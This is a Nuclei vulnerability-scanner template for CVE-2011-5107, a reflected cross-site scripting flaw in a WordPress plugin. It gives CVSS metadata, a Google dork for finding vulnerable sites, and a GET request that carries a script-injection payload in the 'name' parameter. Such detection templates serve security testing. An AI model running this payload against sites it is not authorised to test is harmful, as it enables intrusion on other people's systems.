nuclei-templates/http/cves/2011/CVE-2011-5107.yaml

id: CVE-2011-5107

info:
  name: Alert Before Your Post <= 0.1.1 - Cross-Site Scripting
  author: daffainfo
  severity: medium
  description: A cross-site scripting  vulnerability in post_alert.php in Alert Before Your Post plugin, possibly 0.1.1 and earlier, for WordPress allows remote attackers to inject arbitrary web script or HTML via the name parameter.
  remediation: |
    Update to the latest version of the Alert Before Your Post plugin (0.1.1) or remove the plugin if it is not necessary for the website's functionality.
  reference:
    - https://nvd.nist.gov/vuln/detail/CVE-2011-5107 https://www.acunetix.com/vulnerabilities/web/wordpress-plugin-alert-before-your-post-cross-site-scripting-0-1-1/
    - https://exchange.xforce.ibmcloud.com/vulnerabilities/71413
  classification:
    cvss-metrics: CVSS:2.0/AV:N/AC:M/Au:N/C:N/I:P/A:N
    cvss-score: 4.3
    cve-id: CVE-2011-5107
    cwe-id: CWE-79
    epss-score: 0.0022
    epss-percentile: 0.59193
    cpe: cpe:2.3:a:wordpress:alert_before_you_post:*:*:*:*:*:*:*:*
  metadata:
    max-request: 1
    vendor: wordpress
    product: alert_before_you_post
    google-query: inurl:"/wp-content/plugins/alert-before-your-post"
  tags: cve,cve2011,wordpress,xss,wp-plugin

http:
  - method: GET
    path:
      - '{{BaseURL}}/wp-content/plugins/alert-before-your-post/trunk/post_alert.php?name=%3C%2Fscript%3E%3Cscript%3Ealert%28document.domain%29%3C%2Fscript%3E'

    matchers-condition: and
    matchers:
      - type: word
        part: body
        words:
          - "</script><script>alert(document.domain)</script>"

      - type: word
        part: header
        words:
          - text/html

      - type: status
        status:
          - 200